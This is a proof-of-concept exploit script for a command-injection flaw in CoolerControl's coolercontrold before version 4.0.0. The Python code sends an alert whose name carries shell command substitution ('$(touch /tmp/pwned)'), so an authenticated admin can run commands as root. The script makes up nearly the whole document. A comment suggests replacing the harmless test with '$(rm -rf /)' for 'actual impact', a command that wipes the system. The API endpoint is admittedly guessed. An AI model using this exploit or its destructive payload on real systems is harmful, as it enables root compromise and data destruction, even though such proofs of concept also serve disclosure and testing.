Command injection in alerts in CoolerControl/coolercontrold <4.0.0 allows authenticated attackers to execute arbitrary code as root via injected bash commands in alert names
The following code is for security research and authorized testing only.
python
import requests
# Target API endpoint for creating alerts
# Note: Actual endpoint path may vary based on CoolerControl API version
target_url = "http://localhost:5000/api/v1/alerts"
# Malicious payload using command substitution
# This payload creates a file named 'pwned' in /tmp to demonstrate execution
# Replace with `$(rm -rf /)` or other malicious commands for actual impact
payload_name = "$(touch /tmp/pwned)"
# Headers usually include authentication tokens
# Exploitation requires High Privileges (PR:H), so a valid admin token is needed
headers = {
"Content-Type": "application/json",
"Authorization": "Bearer <VALID_ADMIN_TOKEN>"
}
# JSON data for the new alert
# The 'name' field is the vulnerable injection point
data = {
"name": payload_name,
"condition": "temp > 80", # Example condition
"function": "notify"
}
try:
# Send the POST request to inject the command
response = requests.post(target_url, json=data, headers=headers)
if response.status_code == 200 or response.status_code == 201:
print("[+] Alert created successfully.")
print("[+] Check /tmp/pwned on the target host to verify command execution.")
else:
print(f"[-] Failed to create alert. Status code: {response.status_code}")
print(f"[-] Response: {response.text}")
except Exception as e:
print(f"[-] An error occurred: {e}")